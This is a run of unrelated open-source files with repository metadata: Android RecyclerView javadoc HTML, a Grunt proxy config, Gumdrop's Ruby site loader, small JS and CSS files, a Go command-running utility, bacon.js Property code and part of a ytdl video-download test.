<td class="jd-typecol"><nobr>
int</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#hashCode()">hashCode</a></span>()</nobr>
<div class="jd-descrdiv">
Returns an integer hash code for this object.
</div>
</td></tr>
<tr class=" api apilevel-1" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#notify()">notify</a></span>()</nobr>
<div class="jd-descrdiv">
Causes a thread which is waiting on this object's monitor (by means of
calling one of the <code>wait()</code> methods) to be woken up.
</div>
</td></tr>
<tr class="alt-color api apilevel-1" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#notifyAll()">notifyAll</a></span>()</nobr>
<div class="jd-descrdiv">
Causes all threads which are waiting on this object's monitor (by means
of calling one of the <code>wait()</code> methods) to be woken up.
</div>
</td></tr>
<tr class=" api apilevel-1" >
<td class="jd-typecol"><nobr>
<a href="../../../../../reference/java/lang/String.html">String</a></nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#toString()">toString</a></span>()</nobr>
<div class="jd-descrdiv">
Returns a string containing a concise, human-readable description of this
object.
</div>
</td></tr>
<tr class="alt-color api apilevel-1" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#wait()">wait</a></span>()</nobr>
<div class="jd-descrdiv">
Causes the calling thread to wait until another thread calls the <code>notify()</code> or <code>notifyAll()</code> method of this object.
</div>
</td></tr>
<tr class=" api apilevel-1" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#wait(long, int)">wait</a></span>(long millis, int nanos)</nobr>
<div class="jd-descrdiv">
Causes the calling thread to wait until another thread calls the <code>notify()</code> or <code>notifyAll()</code> method of this object or until the
specified timeout expires.
</div>
</td></tr>
<tr class="alt-color api apilevel-1" >
<td class="jd-typecol"><nobr>
final
void</nobr>
</td>
<td class="jd-linkcol" width="100%"><nobr>
<span class="sympad"><a href="../../../../../reference/java/lang/Object.html#wait(long)">wait</a></span>(long millis)</nobr>
<div class="jd-descrdiv">
Causes the calling thread to wait until another thread calls the <code>notify()</code> or <code>notifyAll()</code> method of this object or until the
specified timeout expires.
</div>
</td></tr>
</table>
</div>
</div>
</td></tr>
</table>
</div><!-- jd-descr (summary) -->
<!-- Details -->
<!-- XML Attributes -->
<!-- Enum Values -->
<!-- Constants -->
<!-- Fields -->
<!-- Public ctors -->
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<h2>Public Constructors</h2>
<A NAME="RecyclerView.OnScrollListener()"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
</span>
<span class="sympad">RecyclerView.OnScrollListener</span>
<span class="normal">()</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p></p></div>
</div>
</div>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<!-- Protected ctors -->
<!-- ========= METHOD DETAIL ======== -->
<!-- Public methdos -->
<h2>Public Methods</h2>
<A NAME="onScrollStateChanged(android.support.v7.widget.RecyclerView, int)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
void
</span>
<span class="sympad">onScrollStateChanged</span>
<span class="normal">(<a href="../../../../../reference/android/support/v7/widget/RecyclerView.html">RecyclerView</a> recyclerView, int newState)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Callback method to be invoked when RecyclerView's scroll state changes.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>recyclerView</td>
<td>The RecyclerView whose scroll state has changed.</td>
</tr>
<tr>
<th>newState</td>
<td>The updated scroll state. One of <code><a href="../../../../../reference/android/support/v7/widget/RecyclerView.html#SCROLL_STATE_IDLE">SCROLL_STATE_IDLE</a></code>,
<code><a href="../../../../../reference/android/support/v7/widget/RecyclerView.html#SCROLL_STATE_DRAGGING">SCROLL_STATE_DRAGGING</a></code> or <code><a href="../../../../../reference/android/support/v7/widget/RecyclerView.html#SCROLL_STATE_SETTLING">SCROLL_STATE_SETTLING</a></code>.
</td>
</tr>
</table>
</div>
</div>
</div>
<A NAME="onScrolled(android.support.v7.widget.RecyclerView, int, int)"></A>
<div class="jd-details api apilevel-">
<h4 class="jd-details-title">
<span class="normal">
public
void
</span>
<span class="sympad">onScrolled</span>
<span class="normal">(<a href="../../../../../reference/android/support/v7/widget/RecyclerView.html">RecyclerView</a> recyclerView, int dx, int dy)</span>
</h4>
<div class="api-level">
<div></div>
</div>
<div class="jd-details-descr">
<div class="jd-tagdata jd-tagdescr"><p>Callback method to be invoked when the RecyclerView has been scrolled. This will be
called after the scroll has completed.
<p>
This callback will also be called if visible item range changes after a layout
calculation. In that case, dx and dy will be 0.</p></div>
<div class="jd-tagdata">
<h5 class="jd-tagtitle">Parameters</h5>
<table class="jd-tagtable">
<tr>
<th>recyclerView</td>
<td>The RecyclerView which scrolled.</td>
</tr>
<tr>
<th>dx</td>
<td>The amount of horizontal scroll.</td>
</tr>
<tr>
<th>dy</td>
<td>The amount of vertical scroll.
</td>
</tr>
</table>
</div>
</div>
</div>
<!-- ========= METHOD DETAIL ======== -->
<!-- ========= END OF CLASS DATA ========= -->
<A NAME="navbar_top"></A>
</div> <!-- jd-content -->
<div class="wrap">
<div class="dac-footer">
<div class="cols dac-footer-main">
<div class="col-1of2">
<a class="dac-footer-getnews" data-modal-toggle="newsletter" href="javascript:;">Get news & tips <span
class="dac-fab dac-primary"><i class="dac-sprite dac-mail"></i></span></a>
</div>
<div class="col-1of2 dac-footer-reachout">
<div class="dac-footer-contact">
<a class="dac-footer-contact-link" href="http://android-developers.blogspot.com/">Blog</a>
<a class="dac-footer-contact-link" href="/support.html">Support</a>
</div>
<div class="dac-footer-social">
<a class="dac-fab dac-footer-social-link" href="https://www.youtube.com/user/androiddevelopers"><i class="dac-sprite dac-youtube"></i></a>
<a class="dac-fab dac-footer-social-link" href="https://plus.google.com/+AndroidDevelopers"><i class="dac-sprite dac-gplus"></i></a>
<a class="dac-fab dac-footer-social-link" href="https://twitter.com/AndroidDev"><i class="dac-sprite dac-twitter"></i></a>
</div>
</div>
</div>
<hr class="dac-footer-separator"/>
<p class="dac-footer-copyright">
Except as noted, this content is licensed under <a
href="http://www.apache.org/licenses/LICENSE-2.0">Apache 2.0</a>.
For details and restrictions, see the <a href="../../../../../license.html">
Content License</a>.
</p>
<p class="dac-footer-build">
Android 6.0 r1 —
<script src="../../../../../timestamp.js" type="text/javascript"></script>
<script>document.write(BUILD_TIMESTAMP)</script>
</p>
<p class="dac-footer-links">
<a href="/about/index.html">About Android</a>
<a href="/auto/index.html">Auto</a>
<a href="/tv/index.html">TV</a>
<a href="/wear/index.html">Wear</a>
<a href="/legal.html">Legal</a>
<span id="language" class="locales">
<select name="language" onchange="changeLangPref(this.value, true)">
<option value="en" selected="selected">English</option>
<option value="es">Español</option>
<option value="ja">日本語</option>
<option value="ko">한국어</option>
<option value="pt-br">Português Brasileiro</option>
<option value="ru">Русский</option>
<option value="zh-cn">中文(简体)</option>
<option value="zh-tw">中文(繁體)</option>
</select>
</span>
</p>
</div>
</div> <!-- end footer -->
<div data-modal="newsletter" data-newsletter data-swap class="dac-modal newsletter">
<div class="dac-modal-container">
<div class="dac-modal-window">
<header class="dac-modal-header">
<button class="dac-modal-header-close" data-modal-toggle><i class="dac-sprite dac-close"></i></button>
<div class="dac-swap" data-swap-container>
<section class="dac-swap-section dac-active dac-down">
<h2 class="norule dac-modal-header-title">Get the latest Android developer news and tips that will help you find success on Google Play.</h2>
<p class="dac-modal-header-subtitle">* Required Fields</p>
</section>
<section class="dac-swap-section dac-up">
<h2 class="norule dac-modal-header-title">Hooray!</h2>
</section>
</div>
</header>
<div class="dac-swap" data-swap-container>
<section class="dac-swap-section dac-active dac-left">
<form action="https://docs.google.com/forms/d/1QgnkzbEJIDu9lMEea0mxqWrXUJu0oBCLD7ar23V0Yys/formResponse" class="dac-form" method="post" target="dac-newsletter-iframe">
<section class="dac-modal-content">
<fieldset class="dac-form-fieldset">
<div class="cols">
<div class="col-1of2 newsletter-leftCol">
<div class="dac-form-input-group">
<label for="newsletter-full-name" class="dac-form-floatlabel">Full name</label>
<input type="text" class="dac-form-input" name="entry.1357890476" id="newsletter-full-name" required>
<span class="dac-form-required">*</span>
</div>
<div class="dac-form-input-group">
<label for="newsletter-email" class="dac-form-floatlabel">Email address</label>
<input type="email" class="dac-form-input" name="entry.472100832" id="newsletter-email" required>
<span class="dac-form-required">*</span>
</div>
</div>
<div class="col-1of2 newsletter-rightCol">
<div class="dac-form-input-group">
<label for="newsletter-company" class="dac-form-floatlabel">Company / developer name</label>
<input type="text" class="dac-form-input" name="entry.1664780309" id="newsletter-company">
</div>
<div class="dac-form-input-group">
<label for="newsletter-play-store" class="dac-form-floatlabel">One of your Play Store app URLs</label>
<input type="url" class="dac-form-input" name="entry.47013838" id="newsletter-play-store" required>
<span class="dac-form-required">*</span>
</div>
</div>
</div>
</fieldset>
<fieldset class="dac-form-fieldset">
<div class="cols">
<div class="col-1of2 newsletter-leftCol">
<legend class="dac-form-legend">Which best describes your business:<span class="dac-form-required">*</span>
</legend>
<div class="dac-form-radio-group">
<input type="radio" value="Apps" class="dac-form-radio" name="entry.1796324055" id="newsletter-business-type-app" required>
<label for="newsletter-business-type-app" class="dac-form-radio-button"></label>
<label for="newsletter-business-type-app" class="dac-form-label">Apps</label>
</div>
<div class="dac-form-radio-group">
<input type="radio" value="Games" class="dac-form-radio" name="entry.1796324055" id="newsletter-business-type-games" required>
<label for="newsletter-business-type-games" class="dac-form-radio-button"></label>
<label for="newsletter-business-type-games" class="dac-form-label">Games</label>
</div>
<div class="dac-form-radio-group">
<input type="radio" value="Apps and Games" class="dac-form-radio" name="entry.1796324055" id="newsletter-business-type-appsgames" required>
<label for="newsletter-business-type-appsgames" class="dac-form-radio-button"></label>
<label for="newsletter-business-type-appsgames" class="dac-form-label">Apps & Games</label>
</div>
</div>
<div class="col-1of2 newsletter-rightCol newsletter-checkboxes">
<div class="dac-form-radio-group">
<div class="dac-media">
<div class="dac-media-figure">
<input type="checkbox" class="dac-form-checkbox" name="entry.732309842" id="newsletter-add" required value="Add me to the mailing list for the monthly newsletter and occasional emails about development and Google Play opportunities.">
<label for="newsletter-add" class="dac-form-checkbox-button"></label>
</div>
<div class="dac-media-body">
<label for="newsletter-add" class="dac-form-label dac-form-aside">Add me to the mailing list for the monthly newsletter and occasional emails about development and Google Play opportunities.<span class="dac-form-required">*</span></label>
</div>
</div>
</div>
<div class="dac-form-radio-group">
<div class="dac-media">
<div class="dac-media-figure">
<input type="checkbox" class="dac-form-checkbox" name="entry.2045036090" id="newsletter-terms" required value="I acknowledge that the information provided in this form will be subject to Google's privacy policy (https://www.google.com/policies/privacy/).">
<label for="newsletter-terms" class="dac-form-checkbox-button"></label>
</div>
<div class="dac-media-body">
<label for="newsletter-terms" class="dac-form-label dac-form-aside">I acknowledge that the information provided in this form will be subject to <a href="https://www.google.com/policies/privacy/">Google's privacy policy</a>.<span class="dac-form-required">*</span></label>
</div>
</div>
</div>
</div>
</div>
</fieldset>
</section>
<footer class="dac-modal-footer">
<div class="cols">
<div class="col-2of5">
</div>
</div>
<button type="submit" value="Submit" class="dac-fab dac-primary dac-large dac-modal-action"><i class="dac-sprite dac-arrow-right"></i></button>
</footer>
</form>
</section>
<section class="dac-swap-section dac-right">
<div class="dac-modal-content">
<p class="newsletter-success-message">
You have successfully signed up for the latest Android developer news and tips.
</p>
</div>
</section>
</div>
</div>
</div>
</div> <!-- end footer -->
</div><!-- end doc-content -->
</div> <!-- end .cols -->
</div> <!-- end body-content -->
</body>
</html>
|
anas-ambri/androidcompat
|
docs/android/support/v7/widget/RecyclerView.OnScrollListener.html
|
HTML
|
mit
| 86,934
|
/*
* grunt-proxy
*
*
* Copyright (c) 2012 Andrei V. Toutoukine
* Licensed under the MIT license.
*/
'use strict';
module.exports = function(grunt) {
grunt.initConfig({
jshint: {
gruntfile : {
src : 'Gruntfile.js'
},
tasks : {
src : ['tasks/**/*.js']
},
tests : {
src : ['test/*.js'],
options : {jshintrc:'test/.jshintrc'}
},
options: {
jshintrc: '.jshintrc',
},
},
// Before generating any new files, remove any previously-created files.
clean: {
tests: ['tmp'],
},
// Configuration to be run (and then tested).
proxy: {
simple : {
options : {
target : {
host: 'localhost',
port: 8011
},
port : 8050
}
},
table : {
options : {
router : {
'localhost/host1' : 'localhost:8011',
'localhost/host2' : 'localhost:8012'
},
port : 8051
}
}
},
// Test servers
connect: {
host1: {
options : {
port : 8011,
base : "test/hosts/1"
}
},
host2: {
options : {
port : 8012,
base : "test/hosts/2"
}
}
},
// Unit tests.
mochaTest : {
integr : { src : 'test/proxy_test.js' },
unit : { src : 'test/unit_test.js'}
},
watch : {
gruntfile : {
files : '<%= jshint.gruntfile.src %>',
tasks : ['jshint:gruntfile']
},
tasks : {
files : '<%= jshint.tasks.src %>',
tasks : ['jshint:tasks','mochaTest:unit']
},
tests : {
files : '<%= jshint.tests.src %>',
tasks : ['jshint:tests','mochaTest']
}
}
});
// Actually load this plugin's task(s).
grunt.loadTasks('tasks');
// These plugins provide necessary tasks.
grunt.loadNpmTasks('grunt-contrib-jshint');
grunt.loadNpmTasks('grunt-contrib-clean');
grunt.loadNpmTasks('grunt-contrib-connect');
grunt.loadNpmTasks('grunt-contrib-watch');
grunt.loadNpmTasks('grunt-mocha-test');
// Whenever the "test" task is run, first clean the "tmp" dir, then run this
// plugin's task(s), then test the result.
grunt.registerTask('test', ['clean', 'connect', 'proxy', 'mochaTest:unit']);
// By default, lint and run all tests.
grunt.registerTask('default', ['test']);
};
|
tutukin/grunt-proxy
|
Gruntfile.js
|
JavaScript
|
mit
| 2,180
|
module Gumdrop
WEB_PAGE_EXTS= %w(.html .htm)
JETSAM_FILES= %w(**/.DS_Store .git* .git/**/* .svn/**/* **/.sass-cache/**/* Gumdrop)
DEFAULT_CONFIG= {
relative_paths: true,
relative_paths_exts: WEB_PAGE_EXTS,
default_layout: 'site',
layout_exts: WEB_PAGE_EXTS,
proxy_enabled: false,
output_dir: "./output",
source_dir: "./source",
data_dir: './data',
log: STDOUT,
log_level: :info,
ignore: JETSAM_FILES,
blacklist: [],
no_render: [],
server_timeout: 5,
server_port: 4567,
env: :production,
file_change_test: :checksum
}
class Site
include Util::Configurable
include Util::Eventable
include Util::Loggable
config_accessor :source_dir, :output_dir, :data_dir,
:mode, :env, :ignore, :blacklist
attr_reader :sitefile, :options, :root, :contents, :data,
:layouts, :generators, :partials, :last_run
# hmmm...
attr_accessor :active_renderer, :active_builder
# You shouldn't call this yourself! Access it via Gumdrop.site
def initialize(sitefile, opts={})
Gumdrop.send :set_current_site, self
@sitefile= sitefile.expand_path
@options= Util::HashObject.from opts
_options_updated!
@root= File.dirname @sitefile
@last_run= 0
@_preparations= []
@contents= ContentList.new
@layouts= SpecialContentList.new ".layout"
@partials= SpecialContentList.new
@generators= []
@data= DataManager.new
clear
end
def options=(opts={})
@options.merge!(opts)
_options_updated!
end
def clear()
@contents.clear()
@layouts.clear()
@partials.clear()
@generators.clear()
@data.clear()
# @contents= ContentList.new
# @layouts= SpecialContentList.new ".layout"
# @partials= SpecialContentList.new
# @generators= []
# @data= DataManager.new
@is_scanned= false
_reset_config!
_load_sitefile
self
end
def scan(force=false)
if !@is_scanned or force
clear if @is_scanned # ????
_content_scanner
@is_scanned= true
generate
end
self
end
def scan_only # For testing...
if !@is_scanned or force
clear if @is_scanned # ????
_content_scanner
end
self
end
def generate
_execute_preparations
_execute_generators
self
end
def in_blacklist?(path)
blacklist.any? do |pattern|
path.path_match? pattern
end
end
def ignore_path?(path)
config.ignore.any? do |pattern|
path.path_match? pattern
end
end
def unrenderable?(path)
config.no_render.any? do |pattern|
path.path_match? pattern
end
end
def source_path
@source_path ||= source_dir.expand_path(root)
end
def output_path
@output_path ||= output_dir.expand_path(root)
end
def data_path
@data_path ||= data_dir.expand_path(root)
end
def resolve(path=nil, opts={})
case
when path.is_a?(Content)
path
when !path.nil?
contents.first(path) || partials.first(path)
when opts[:page]
contents.first opts[:page]
when opts[:partial]
partials.first opts[:partial]
when opts[:layout]
layouts.first opts[:layout]
when opts[:generator]
generators.first opts[:generator]
else
nil
end
end
def prepare(&block)
@_preparations << block
end
# Events stop bubbling here.
def parent
nil
end
def config_did_change
Gumdrop.init_logging
end
private
def _reset_config!
config.clear.merge! DEFAULT_CONFIG
config.env= @options.env.to_sym if @options.env
config.mode= @options.mode.nil? ? :unknown : @options.mode.to_sym
end
def _options_updated!
config.env= @options.env.to_sym if @options.env
config.mode= @options.mode.nil? ? :unknown : @options.mode.to_sym
end
def _load_sitefile
clear_events
load sitefile
data.dir= data_path
rescue Exception => ex
msg= "There is an error in your Gumdrop file!"
# $stderr.puts msg
log.error msg
log.error ex
raise ex
end
def _content_scanner
log.info "Gumdrop v#{ Gumdrop::VERSION } - #{ Time.new }"
log.debug "(config)"
log.debug config
log.debug "(options)"
log.debug @options
log.debug "[Scanning: #{source_path}]"
# Report ignore list
ignore.each {|p| log.debug " ignoring: #{p}" }
# Scan Filesystem
event_block :scan do
scanner= Util::Scanner.new(source_path, {}, &method(:_scanner_validator))
scanner.each do |path, rel|
content= Content.new(path)
layouts.add content and next if content.layout?
partials.add content and next if content.partial?
generators << Generator.new(content) and next if content.generator?
contents.add content
log.debug " including: #{ rel }"
end
contents.keys.size
end
@is_scanned= true
end
def _scanner_validator(source_path, full_path)
return true if ignore_path? source_path
# in_blacklist? source_path
false
end
def _execute_preparations
log.debug "[Executing Preparations]"
dsl= Generator::DSL.new nil
@_preparations.each do |block|
if block.arity == 1
block.call dsl
else
dsl.instance_eval &block
end
end
end
def _execute_generators
log.debug "[Executing Generators]"
event_block :generate do
generators.each do |generator|
generator.execute()
end
end
end
end
class << self
# This will look for a nearby Gumdrop file and load the Site
# the first time it is called. Each time after it will just
# return the already created Site.
def site(opts={}, force_new=false)
opts= opts.to_symbolized_hash
unless @current_site.nil? or force_new
@current_site.options= opts unless opts.empty?
@current_site
else
site_file= fetch_site_file
unless site_file.nil?
Site.new site_file, opts
else
nil
end
end
end
# Listen for life-cycle events in your Gumdrop file like this:
#
# Gumdrop.on :start do |event|
# puts "Here we go!"
# end
#
# Complete list of events fired by Gumdrop:
#
# :start
# :before_scan
# :scan
# :after_scan
# :before_generate
# :generate
# :after_generate
# :before_generate_item
# :generate_item
# :after_generate_item
# :before_build
# :build
# :after_build
# :before_checksum
# :checksum
# :after_checksum
# :before_render
# :render
# :after_render
# :before_render_item
# :render_item
# :after_render_item
# :before_write
# :write
# :after_write
# :before_copy_file
# :copy_file
# :after_copy_file
# :before_write_file
# :write_file
# :after_write_file
# :end
#
# In the block parem `event` you will have access to :site, the
# current executing site instance, and :payload, where applicable.
#
# :render_item is a special event because you can add/override the
# compiled output by modifying `event.data.return_value`
#
def on(event_type, options={}, &block)
site.on event_type, options, &block
end
# Yield a configuration object. You can update Gumdrop behavior
# as well as add your own config information.
def configure(&block)
site.configure &block
end
def prepare(&block)
site.prepare &block
end
# Short cut to the current Site config object.
def config
site.config
end
# The env Gumdrop is run in -- You can set this in the config
# or, better, via command line: `gumdrop build -e test`
def env
site.env
end
# Mostly for internal use, but you can update/change it in the
# configure block.
def mode
site.mode
end
# Returns true if this, or a parent, folder has a Gumdrop file.
def in_site_folder?(filename="Gumdrop")
!fetch_site_file(filename).nil?
end
# Specified paths will be added to the ignore list, preventing
# matching files from appearing in the source tree
def ignore(*paths)
paths.each do |path|
if path.is_a? Array
config.ignore.concat path
else
config.ignore << path
end
end
end
# Specified paths will not be rendered to output (matching against
# the source tree).
def blacklist(*paths)
paths.each do |path|
if path.is_a? Array
config.blacklist.concat path
else
config.blacklist << path
end
end
end
# Specified paths will be treated as binary files and copied, not
# rendered.
def no_render(*paths)
paths.each do |path|
if path.is_a? Array
config.no_render.concat path
else
config.no_render << path
end
end
end
protected
# Walks up the filesystem, starting from Dir.pwd, looking for
# a Gumdrop file. Returns nil if not found.
def fetch_site_file(filename="Gumdrop")
here= Dir.pwd
found= File.file? here / filename
# TODO: Should be smarter -- This is a hack for Windows support "C:\"
while !found and File.directory?(here) and File.dirname(here).length > 3
here= File.expand_path here /'..'
found= File.file? here / filename
end
if found
File.expand_path here / filename
else
nil
end
end
def set_current_site(site)
@current_site= site
end
end
end
|
mattmccray/gumdrop
|
lib/gumdrop/site.rb
|
Ruby
|
mit
| 10,076
|
/**
* Created by sbortman on 9/2/15.
*/
//= require jquery
//= require mapWidget
//= require_self
var MapView = (function ()
{
'use strict';
function init()
{
//alert('here');
MapWidget.init();
}
return {
init: init
};
})();
|
sbortman/joker
|
apps/joker-ui/grails-app/assets/javascripts/mapView.js
|
JavaScript
|
mit
| 278
|
footer {
line-height: 1.7em;
}
footer .Logo {
align-items: center;
}
footer .Logo .InlineLink {
font-weight: lighter;
}
|
Ciunkos/ciunkos.com
|
src/components/Footer.css
|
CSS
|
mit
| 128
|
var RoomMirror = require('./lib');
module.exports = RoomMirror;
|
all-user/RoomMirror
|
index.js
|
JavaScript
|
mit
| 64
|
#pragma once
#include <string>
enum class ContainerChangeType
{
OBJECT_ADDED,
OBJECT_REMOVED,
};
// model objects names
static const std::string ThreeDObjectType = "ThreeDObject";
static const std::string PolygonalLassoType = "PolygonalLasso";
// properties names
static const std::string ColorType = "Color";
static const std::string NameType = "Name";
static const std::string MeshType = "Mesh";
static const std::string LassoPointsType = "LassoPoints";
|
ahmed-abdelhay/CG-3D
|
infrastructure/Common.h
|
C
|
mit
| 469
|
// The MIT License (MIT)
//
// Copyright (c) 2016 Yunzhu Li
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
package utils
import (
"bytes"
"errors"
"io"
"strconv"
"syscall"
"os/exec"
"os/user"
)
// ReadStreamToByteArray reads stream to a byte array
func ReadStreamToByteArray(reader io.Reader) []byte {
buf := new(bytes.Buffer)
buf.ReadFrom(reader)
return buf.Bytes()
}
// CreateStreamFromByteArray creates stream with given byte array
func CreateStreamFromByteArray(buf []byte) io.Reader {
return bytes.NewReader(buf)
}
// CurrentUIDGID returns uid and gid as *integers* of current user
func CurrentUIDGID() (uint32, uint32, error) {
user, err := user.Current()
if (err != nil) { return 0, 0, err }
return uidGIDWithUser(user)
}
// GetUIDGID returns uid and gid as *integers* of given username
func GetUIDGID(username string) (uint32, uint32, error) {
user, err := user.Lookup(username)
if (err != nil) { return 0, 0, err }
return uidGIDWithUser(user)
}
// uidGIDWithUser returns uid and gid of a user.User instance
func uidGIDWithUser(usr *user.User) (uint32, uint32, error) {
uid, err := strconv.Atoi(usr.Uid)
if (err != nil) { return 0, 0, err }
gid, err := strconv.Atoi(usr.Gid)
if (err != nil) { return 0, 0, err }
return uint32(uid), uint32(gid), err
}
// RunCommand runs command with arguments, stdin and user
func RunCommand(cmd string, stdin []byte, user string) ([]byte, []byte, error) {
// Check input
if len(cmd) == 0 {
return nil, nil, errors.New("Empty command")
}
// Create Command object
command := exec.Command("bash", "-c", cmd)
// Get uid / gid
if len(user) > 0 {
uid, gid, err := GetUIDGID(user)
if err != nil { return nil, nil, err }
// Set uid / gid
command.SysProcAttr = &syscall.SysProcAttr{}
command.SysProcAttr.Credential = &syscall.Credential{Uid: uid, Gid: gid}
}
// stdin and stdout pipes
stdinPipe, err := command.StdinPipe()
if err != nil { return nil, nil, err }
stdoutPipe, err := command.StdoutPipe()
if err != nil { return nil, nil, err }
stderrPipe, err := command.StderrPipe()
if err != nil { return nil, nil, err }
// Start command
if err:= command.Start(); err != nil { return nil, nil, err }
// Write stdin
stdinPipe.Write(stdin)
stdinPipe.Close()
// Read stdout and stderr
stdout := ReadStreamToByteArray(stdoutPipe)
stdoutPipe.Close()
stderr := ReadStreamToByteArray(stderrPipe)
stderrPipe.Close()
// Wait for finish
err = command.Wait()
return stdout, stderr, err
}
|
yunzhu-li/remote-exec
|
utils/utils.go
|
GO
|
mit
| 3,709
|
// build-dependencies: observable
// build-dependencies: describe
// build-dependencies: functionconstruction
// build-dependencies: updatebarrier
// build-dependencies: dispatcher
// build-dependencies: optional
// build-dependencies: helpers
// build-dependencies: _
function PropertyDispatcher(property, subscribe, handleEvent) {
Dispatcher.call(this, subscribe, handleEvent);
this.property = property;
this.subscribe = _.bind(this.subscribe, this);
this.current = None;
this.currentValueRootId = undefined;
this.propertyEnded = false;
}
inherit(PropertyDispatcher, Dispatcher);
extend(PropertyDispatcher.prototype, {
push(event) {
if (event.isEnd()) {
this.propertyEnded = true;
}
if (event.hasValue()) {
this.current = new Some(event);
this.currentValueRootId = UpdateBarrier.currentEventId();
}
return Dispatcher.prototype.push.call(this, event);
},
maybeSubSource(sink, reply) {
if (reply === Bacon.noMore) {
return nop;
} else if (this.propertyEnded) {
sink(endEvent());
return nop;
} else {
return Dispatcher.prototype.subscribe.call(this, sink);
}
},
subscribe(sink) {
var initSent = false;
// init value is "bounced" here because the base Dispatcher class
// won't add more than one subscription to the underlying observable.
// without bouncing, the init value would be missing from all new subscribers
// after the first one
var reply = Bacon.more;
if (this.current.isDefined && (this.hasSubscribers() || this.propertyEnded)) {
// should bounce init value
var dispatchingId = UpdateBarrier.currentEventId();
var valId = this.currentValueRootId;
if (!this.propertyEnded && valId && dispatchingId && dispatchingId !== valId) {
// when subscribing while already dispatching a value and this property hasn't been updated yet
// we cannot bounce before this property is up to date.
//console.log "bouncing with possibly stale value", event.value(), "root at", valId, "vs", dispatchingId
UpdateBarrier.whenDoneWith(this.property, () => {
if (this.currentValueRootId === valId) {
return sink(initialEvent(this.current.get().value()));
}
});
// the subscribing thing should be defered
return this.maybeSubSource(sink, reply);
} else {
//console.log "bouncing value immediately"
UpdateBarrier.inTransaction(undefined, this, function() {
reply = sink(initialEvent(this.current.get().value()));
return reply;
}, []);
return this.maybeSubSource(sink, reply);
}
} else {
return this.maybeSubSource(sink, reply);
}
}
});
function Property(desc, subscribe, handler) {
Observable.call(this, desc);
assertFunction(subscribe);
this.dispatcher = new PropertyDispatcher(this, subscribe, handler);
registerObs(this);
}
inherit(Property, Observable);
extend(Property.prototype, {
_isProperty: true,
changes() {
return new EventStream(new Bacon.Desc(this, "changes", []), (sink) => {
return this.dispatcher.subscribe(function(event) {
if (!event.isInitial()) { return sink(event); }
});
});
},
withHandler(handler) {
return new Property(new Bacon.Desc(this, "withHandler", [handler]), this.dispatcher.subscribe, handler);
},
toProperty() {
assertNoArguments(arguments);
return this;
},
toEventStream() {
return new EventStream(new Bacon.Desc(this, "toEventStream", []), (sink) => {
return this.dispatcher.subscribe(function(event) {
if (event.isInitial()) { event = event.toNext(); }
return sink(event);
});
});
}
});
Bacon.Property = Property;
Bacon.constant = function(value) {
return new Property(new Bacon.Desc(Bacon, "constant", [value]), function(sink) {
sink(initialEvent(value));
sink(endEvent());
return nop;
});
};
|
vvilhonen/bacon.js
|
src/property.js
|
JavaScript
|
mit
| 3,967
|
var assert = require('assert');
var path = require('path');
var fs = require('fs');
var streamEqual = require('stream-equal');
var nock = require('./nock');
var ytdl = require('..');
var VIDEO_BASE = 'https://www.youtube.com/watch?v=';
describe('Download video', function() {
var id = '_HSylqgVYQI';
var link = VIDEO_BASE + id;
var video = path.resolve(__dirname, 'files/' + id + '/video.flv');
var filter = function(format) { return format.container === 'mp4'; };
it('Should be pipeable and data equal to stored file', function(done) {
var scope1 = nock(id, { dashmpd: true });
var stream = ytdl(link, { filter: filter });
var infoEmitted = false;
var scope2;
stream.on('info', function(info, format) {
infoEmitted = true;
scope2 = nock.url(format.url)
.replyWithFile(200, video);
});
var filestream = fs.createReadStream(video);
streamEqual(filestream, stream, function(err, equal) {
scope1.done();
scope2.done();
if (err) return done(err);
assert.ok(infoEmitted);
assert.ok(equal);
done();
});
});
describe('that redirects', function() {
it('Should download file after redirect', function(done) {
var id = '_HSylqgVYQI';
var link = VIDEO_BASE + id;
var video = path.resolve(__dirname, 'files/' + id + '/video.flv');
var filter = function(format) { return format.container === 'mp4'; };
var scope1 = nock(id, { dashmpd: true });
var stream = ytdl(link, { filter: filter });
var scope2, scope3;
stream.on('info', function(info, format) {
scope2 = nock.url(format.url)
.reply(302, '', { Location: 'http://somehost.com/somefile.mp4' });
